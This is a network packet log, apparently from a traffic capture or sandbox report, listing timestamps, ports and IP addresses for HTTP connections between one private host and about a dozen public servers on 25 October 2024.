Oct 25, 2024 11:18:16.291007042 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.291197062 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.291208029 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.291218996 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.291249990 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.291249990 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.291261911 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.291274071 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.291281939 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.291341066 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.291341066 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.291676998 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.291744947 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.291817904 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.291837931 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.291872978 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.291893959 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.291929960 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.291986942 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.292095900 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.292150974 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.292177916 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.292215109 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.292256117 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.292269945 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.292303085 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.292351961 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.292572021 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.292617083 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.292644024 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.292676926 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.292711973 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.292732954 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.292751074 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.292793989 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.292807102 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.292831898 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.292856932 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.292891026 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.292917967 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.292943001 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.292969942 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.293003082 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.293025970 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.293054104 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.293081999 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.293132067 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.293380976 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.293412924 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.293440104 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.293461084 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.293487072 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.293519974 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.293553114 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.293575048 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.293606043 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.293638945 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.293659925 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.293689966 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.293714046 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.293745995 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.293778896 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.293803930 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.294117928 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.294146061 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.294200897 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.294222116 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.294246912 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.294291019 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.294322014 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.294343948 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.294363022 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.294397116 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.294429064 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.294456959 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.294476032 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.294503927 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.294537067 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.294558048 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.294579983 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.294610023 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.294642925 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.294687986 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.294701099 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.295012951 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.295058966 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.295146942 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.295180082 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.295198917 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.295231104 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.295263052 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.295411110 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.295448065 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.295481920 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.295500994 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.295523882 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.295552969 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.295586109 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.295625925 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.295639038 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.295874119 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.317575932 CEST	53014	80	192.168.2.5	5.196.166.214
Oct 25, 2024 11:18:16.321141005 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:16.323340893 CEST	80	53014	5.196.166.214	192.168.2.5
Oct 25, 2024 11:18:16.323493004 CEST	53014	80	192.168.2.5	5.196.166.214
Oct 25, 2024 11:18:16.325078011 CEST	53014	80	192.168.2.5	5.196.166.214
Oct 25, 2024 11:18:16.326524973 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:16.326683044 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:16.327692032 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:16.329425097 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.329458952 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.329493046 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.329543114 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.329574108 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.330442905 CEST	80	53014	5.196.166.214	192.168.2.5
Oct 25, 2024 11:18:16.333098888 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:16.334320068 CEST	53017	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:16.335735083 CEST	53018	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:18:16.337243080 CEST	53019	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:16.339677095 CEST	80	53017	62.122.190.121	192.168.2.5
Oct 25, 2024 11:18:16.340199947 CEST	53017	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:16.340200901 CEST	53017	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:16.341161013 CEST	80	53018	213.186.33.40	192.168.2.5
Oct 25, 2024 11:18:16.341310024 CEST	53018	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:18:16.341310024 CEST	53018	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:18:16.342592955 CEST	80	53019	103.224.182.241	192.168.2.5
Oct 25, 2024 11:18:16.342746973 CEST	53019	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:16.342746973 CEST	53019	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:16.345566034 CEST	80	53017	62.122.190.121	192.168.2.5
Oct 25, 2024 11:18:16.346888065 CEST	80	53018	213.186.33.40	192.168.2.5
Oct 25, 2024 11:18:16.348442078 CEST	80	53019	103.224.182.241	192.168.2.5
Oct 25, 2024 11:18:16.385186911 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.385380030 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.399102926 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.399159908 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.399211884 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.399245977 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.399274111 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.399346113 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.399373055 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.399404049 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.399441004 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.399455070 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.399513006 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.399527073 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.399576902 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.399622917 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.399636984 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.399655104 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.399704933 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.399738073 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.399759054 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.399791956 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.399821043 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.399854898 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.399879932 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.399899006 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.399931908 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.399965048 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.399997950 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.400024891 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.400151014 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.400712967 CEST	53021	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:16.402800083 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.402828932 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.402879953 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.402914047 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.402940035 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.402940035 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.402942896 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.402971029 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.402980089 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.403007984 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.403032064 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.403062105 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.403065920 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.403100967 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.403126955 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.403136969 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.403172016 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.403201103 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.403206110 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.403429985 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.403459072 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.403541088 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.403590918 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.403624058 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.403652906 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.403652906 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.403657913 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.403683901 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.403692007 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.403719902 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.403727055 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.403753996 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.403763056 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.403790951 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.403816938 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.404234886 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.404272079 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.404289007 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.404323101 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.404356003 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.404390097 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.404419899 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.404419899 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.404422998 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.404452085 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.404458046 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.404484987 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.404491901 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.404517889 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.404526949 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.404561043 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.404591084 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.404597044 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.404771090 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.405076981 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.405139923 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.405174017 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.405204058 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.405204058 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.405224085 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.405236006 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.405257940 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.405286074 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.405293941 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.405325890 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.405353069 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.405359983 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.405392885 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.405420065 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.405427933 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.405462980 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.405488968 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.405946970 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.405997992 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.406050920 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.406080008 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.406084061 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.406119108 CEST	80	53021	103.224.182.241	192.168.2.5
Oct 25, 2024 11:18:16.406145096 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.406676054 CEST	53021	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:16.407520056 CEST	53021	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:16.412945986 CEST	80	53021	103.224.182.241	192.168.2.5
Oct 25, 2024 11:18:16.433867931 CEST	80	52995	211.1.226.67	192.168.2.5
Oct 25, 2024 11:18:16.433983088 CEST	52995	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:18:16.443471909 CEST	80	52969	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:16.443600893 CEST	52969	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:16.447123051 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.447155952 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.447223902 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.447257042 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.447284937 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.447292089 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.447336912 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.447339058 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.447365999 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.447365999 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.447375059 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.447401047 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.447468042 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.462872028 CEST	52995	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:18:16.468238115 CEST	80	52995	211.1.226.67	192.168.2.5
Oct 25, 2024 11:18:16.481075048 CEST	80	52999	35.164.78.200	192.168.2.5
Oct 25, 2024 11:18:16.484764099 CEST	52999	80	192.168.2.5	35.164.78.200
Oct 25, 2024 11:18:16.484764099 CEST	52999	80	192.168.2.5	35.164.78.200
Oct 25, 2024 11:18:16.490844965 CEST	80	52999	35.164.78.200	192.168.2.5
Oct 25, 2024 11:18:16.493617058 CEST	80	53003	104.21.88.198	192.168.2.5
Oct 25, 2024 11:18:16.493659973 CEST	52999	80	192.168.2.5	35.164.78.200
Oct 25, 2024 11:18:16.496575117 CEST	53003	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:16.520787001 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.520864010 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.520919085 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.520948887 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.520953894 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.520986080 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.520986080 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.520992041 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521019936 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.521049023 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521101952 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521153927 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521164894 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.521182060 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.521189928 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521219969 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.521220922 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521251917 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.521256924 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521292925 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521322012 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.521327972 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521364927 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.521367073 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521405935 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.521406889 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521435022 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.521447897 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521497965 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521513939 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.521513939 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.521553993 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521575928 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.521584034 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521610975 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.521636009 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521671057 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521696091 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.521703959 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521738052 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521770954 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.521771908 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521800995 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.521807909 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521842957 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521868944 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.521877050 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.521910906 CEST	80	52888	69.163.239.62	192.168.2.5
Oct 25, 2024 11:18:16.521934986 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.521991968 CEST	52888	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:18:16.522227049 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.522332907 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.522384882 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.522419930 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.522449017 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.522454023 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.522489071 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.522517920 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.522522926 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.522557974 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.522584915 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.522591114 CEST	80	52985	23.227.38.74	192.168.2.5
